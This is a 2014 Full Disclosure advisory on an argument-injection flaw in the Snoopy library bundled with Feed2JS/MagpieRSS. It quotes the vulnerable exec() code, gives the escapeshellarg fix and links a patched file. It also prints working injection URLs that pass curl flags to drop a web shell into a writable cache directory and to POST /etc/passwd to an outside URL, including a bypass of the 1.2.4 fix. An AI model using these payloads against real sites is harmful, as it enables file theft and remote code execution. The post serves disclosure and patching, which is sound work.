Message-ID: <CAPXY_qGb=3PoWbxi_cGdtgqShVSzr6uF6R2qZQtj5uvVZestqA@mail.gmail.com>
Date: Thu, 3 Jul 2014 14:49:11 +0400
From: Michail Strokin <mstrokin@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Feed2JS/MagpieRSS 0day vulnerability (not really,
 it is actually CVE-2005-3330 / CVE-2008-4796)

Feed2JS is a tool for user-friendly(developer-wise) embedding the RSS
feeds on the pages without messing with XML.

I’ve found out today that it’s vulnerable to local file disclosure
(all your /etc/passwds could be stolen).
It could be used for remote file inclusion as well.

tl;dr – fixed files at the bottom of the post

Feed2JS uses MagpieRSS for parsing the feeds, and MagpieRSS uses
Snoopy library for fetching the documents:

Snoopy - the PHP net client
Author: Monte Ohrt &lt;monte@...i.net&gt;
Copyright (c): 1999-2000 ispi, all rights reserved
Version: 1.0


Snoopy 1.0 is 12 years old (sic!),6 years ago someone ‘found’ a
vulnerability in Snoopy 1.2.3:

CVE-2008-4796:
The _httpsrequest function (Snoopy/Snoopy.class.php) in Snoopy 1.2.3
and earlier, as used in (1) ampache, (2) libphp-snoopy, (3) mahara,
(4) mediamate, (5) opendb, (6) pixelpost, and possibly other products,
allows remote attackers to execute arbitrary commands via shell
metacharacters in https URLs.

But this was actually discovered 3 years prior to that(9 years ago!):

CVE-2005-3330
The _httpsrequest function in Snoopy 1.2, as used in products such as
(1) MagpieRSS, (2) WordPress, (3) Ampache, and (4) Jinzora, allows
remote attackers to execute arbitrary commands via shell
metacharacters in an HTTPS URL to an SSL protected web page, which is
not properly handled by the fetch function.

As you can see, Snoopy 1.0 is definetely older than v1.2.3, so the
_httpsrequest function should be vulnerable in the Snoopy library used
in Feed2JS, even though I read somewhere that this issue is fixed in
Magpie 0.7.2(it’s not)..

Some code snippets from Feed2JS/Magpie:


extlib/Snoopy.class.inc

/*======================================================================*\
Function: fetch
Purpose: fetch the contents of a web page
(and possibly other protocols in the
future like ftp, nntp, gopher, etc.)
Input: $URI the location of the page to fetch
Output: $this-&gt;results the output text from the fetch
\*======================================================================*/

function fetch($URI)
{
$URI_PARTS = parse_url($URI);
switch($URI_PARTS["scheme"])
{
case "https":
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
$this-&gt;_httpsrequest($path, $URI, $this-&gt;_httpmethod);
break;
}
}

/*======================================================================*\
Function: _httpsrequest
Purpose: go get the https data from the server using curl
Input: $url the url to fetch
$URI the full URI
$body body contents to send if any (POST)
Output:
\*======================================================================*/

function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
...
exec($this-&gt;curl_path." -D
\"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)."
".escapeshellcmd($URI),$results,$return);
...
}

I cringe every time when I see “exec” functions, so lets check whats
wrong in using it ..

From php.net:

Warning
escapeshellcmd() should be used on the whole command string, and it
still allows the attacker to pass arbitrary number of arguments. For
escaping a single argumentescapeshellarg() should be used instead.

You can pass additional curl arguments (you can check curl manual @
http://curl.haxx.se/docs/manpage.html), for example:

?src=https://example.com/%20-H"something:test"

This code will send something:test in the headers (can be used to get
sensitive information about the server).

You can also download a file and save it locally using curl -o flag.

?src=https://example.com/shell%20-o"cache/shell.php"

this will download https://example.com/shell and save it into cache/
directory (which has 777 permissions by design)

Or you can submit

?src=https://example.com/%20-F%20"file=@...c/passwd"

to get the /etc/passwd POSTed to your malicious URL and save it using
$_FILES['file'].

Snoopy 1.2.4 is vulnerable as well, so this IS kind-of a
0day(2005-3330 / 2008-4796 wasn't fixed properly)..

Snoopy 1.2.4 ‘fixed’ the CVE-2008-4796 by using quotes around the
escapeshellcmd, but it is still vulnerable, you can exploit it like
this:

?src=https://example.com/"%20-F%20"file=@...c/passwd

To fix this, you need to use escapeshellarg instead of escapeshellcmd
so that it's only possible to use 1 argument.

Snoopy 1.2.4 also lacks gzip support and messed up the compatibility
with MagpieRSS..

Fixed version of Snoopy.class.inc is here:

https://raw.githubusercontent.com/cogdog/feed2js/master/magpie/extlib/Snoopy.class.inc

P.S. original post at
http://mstrokin.com/sec/feed2js-magpierss-0day-vulnerability-not-really-it-is-actually-cve-2005-3330-cve-2008-4796/

P.P.S should I request a CVE?

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists